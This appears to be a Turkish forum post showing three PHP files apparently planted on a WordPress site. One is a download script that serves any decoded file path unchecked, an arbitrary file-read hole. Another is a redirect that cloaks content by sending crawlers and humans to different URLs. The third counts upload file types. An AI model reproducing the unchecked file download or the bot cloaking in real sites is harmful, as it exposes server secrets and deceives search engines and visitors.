Ayrıca 3 adet dosya oluşturmuştu. Onlarda aşağıda.
1. Download.php
<?php
$file = explode('https://1siteadi.com/',base64_decode(base64_decode($_GET["url"])))[1];
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
?>2.encode.php
<?php
function _bot_detected() {
return (
isset($_SERVER['HTTP_USER_AGENT'])
&& preg_match('/bot|crawl|slurp|spider|mediapartners/i', $_SERVER['HTTP_USER_AGENT'])
);
}
$url = base64_encode(base64_encode($_GET['url']));
if(_bot_detected()) {
header("Location: https://1siteadi.com/download.php?url=".$url."&format=cryptic&t=MTU=");
}else{
header("Location: https://1siteadi.com/downloads?url=".$url."&format=cryptic&t=MTU=");
}3.Test PHP
<?php
$extem = [];
function listFolderFiles($dir){
$ffs = scandir($dir);
unset($ffs[array_search('.', $ffs, true)]);
unset($ffs[array_search('..', $ffs, true)]);
// prevent empty ordered elements
if (count($ffs) < 1)
return;
foreach($ffs as $ff){
$ext = pathinfo($ff, PATHINFO_EXTENSION);
@$GLOBALS['extem'][$ext] = $GLOBALS['extem'][$ext] ? $GLOBALS['extem'][$ext]+1:1;
if(is_dir($dir.'/'.$ff)) listFolderFiles($dir.'/'.$ff);
}
}
listFolderFiles('./wp-content/uploads');
arsort($GLOBALS['extem']);
print_r($GLOBALS['extem']);
?>Bütün bu kodlar sebebiyle embed dosya bu şekilde görünüyor.